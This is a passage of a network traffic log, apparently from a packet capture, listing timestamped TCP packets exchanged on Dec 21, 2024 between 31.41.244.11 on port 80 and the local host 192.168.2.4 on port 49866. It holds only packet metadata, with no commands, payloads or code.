Dec 21, 2024 18:16:48.319838047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.319905996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.319931984 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.319977045 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.320960999 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.320997953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.321049929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.322097063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.322169065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.322217941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.323182106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.323235989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.323285103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.324326992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.324372053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.324434996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.325393915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.325413942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.325428009 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.325596094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.325640917 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.326535940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.326592922 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.326647997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.326698065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.327644110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.327689886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.462047100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.462104082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.462122917 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.462157011 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.462299109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.462405920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.462457895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.463396072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.463499069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.463551998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.464529037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.464674950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.464723110 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.465612888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.465749025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.465811968 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.466723919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.466775894 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.466840029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.467749119 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.467864037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.467941046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.468005896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.468199015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.468980074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.469046116 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.469124079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.469173908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.470026970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.470088005 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.470119953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.470366955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.471143007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.471211910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.471275091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.471386909 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.472294092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.472343922 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.472412109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.472712040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.473400116 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.473453999 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.473522902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.473565102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.474504948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.474561930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.474626064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.475053072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.475852966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.475904942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.475997925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.476046085 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.476775885 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.476826906 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.476886034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.476933956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.477880955 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.477997065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.477999926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.478041887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.478996992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.479052067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.479105949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.479249954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.480099916 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.480154037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.480170965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.480218887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.481242895 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.481297016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.481422901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.481467009 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.482314110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.482364893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.482440948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.482547998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.483467102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.483596087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.483639956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.484561920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.484719992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.484869003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.485687971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.485745907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.485820055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.485872030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.486747026 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.486804008 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.486866951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.486949921 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.487971067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.488039970 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.488174915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.488234997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.489137888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.489196062 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.489274979 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.489321947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.490215063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.490258932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.490338087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.490573883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.491247892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.491307020 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.491403103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.491460085 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.492352009 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.492407084 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.492475986 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.492521048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.493463039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.493530035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.493607044 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.493662119 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.494596958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.494716883 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.494774103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.495672941 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.495801926 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.495858908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.496820927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.496874094 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.496949911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.497548103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.497917891 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.497968912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.498049974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.498100042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.499152899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.499205112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.499280930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.499339104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.500190973 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.500324011 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.500377893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.501264095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.501346111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.501375914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.502382994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.502441883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.502552032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.503509998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.503566980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.503571033 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.503622055 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.504635096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.504755974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.504807949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.505827904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.506102085 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.506150961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.506818056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.506946087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.507004023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.507931948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.508016109 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.508024931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.508135080 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.509212971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.509268999 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.509345055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.509399891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.510163069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.510276079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.510289907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.510369062 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.511288881 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.511421919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.511477947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.512429953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.512583971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.512638092 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.513598919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.513683081 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.513745070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.514919996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.514974117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.515037060 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.515749931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.515814066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.515826941 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.516901016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.516953945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.517033100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.517083883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.517997980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.518192053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.518251896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.519100904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.519257069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.519328117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.520224094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.520279884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.654115915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.654201984 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.654258966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.654301882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.654301882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.654301882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.654452085 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.654577017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.654628038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.654728889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.655569077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.655643940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.655791998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.655941963 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.656665087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.656722069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.656786919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.656891108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.658056021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.658114910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.658179045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.658231020 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.658971071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.659027100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.659075975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.660046101 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.660095930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.660175085 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.660233974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.661137104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.661191940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.661256075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.661305904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.662276983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.662331104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.662389040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.662444115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.663471937 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.663532019 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.663604021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.663681984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.664494038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.664550066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.664608955 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.664657116 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.665601015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.665707111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.665724993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.666063070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.666691065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.666758060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.666816950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.666884899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.667849064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.667900085 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.667905092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.667946100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.669033051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.669094086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.669254065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.669306040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.670120955 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.670171022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.670234919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.670285940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.671144962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.671211004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.671273947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.671472073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.672308922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.672355890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.672436953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.672519922 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.673379898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.673432112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.673496962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.673551083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.674542904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.674616098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.674633980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.674679995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.675633907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.675739050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.675746918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.675786018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.676755905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.676812887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.676913977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.677001953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.677876949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.677941084 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.677983046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.678049088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.678983927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.679037094 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.679147005 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.679301023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.680063963 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.680133104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.680201054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.680253029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.681220055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.681281090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.681340933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.681399107 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.682337046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.682388067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.682476997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.682527065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.683450937 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.683500051 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.683583021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.683914900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.684614897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.684667110 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.684734106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.684787035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.685664892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.685728073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.685802937 CET	80	49866	31.41.244.11	192.168.2.4
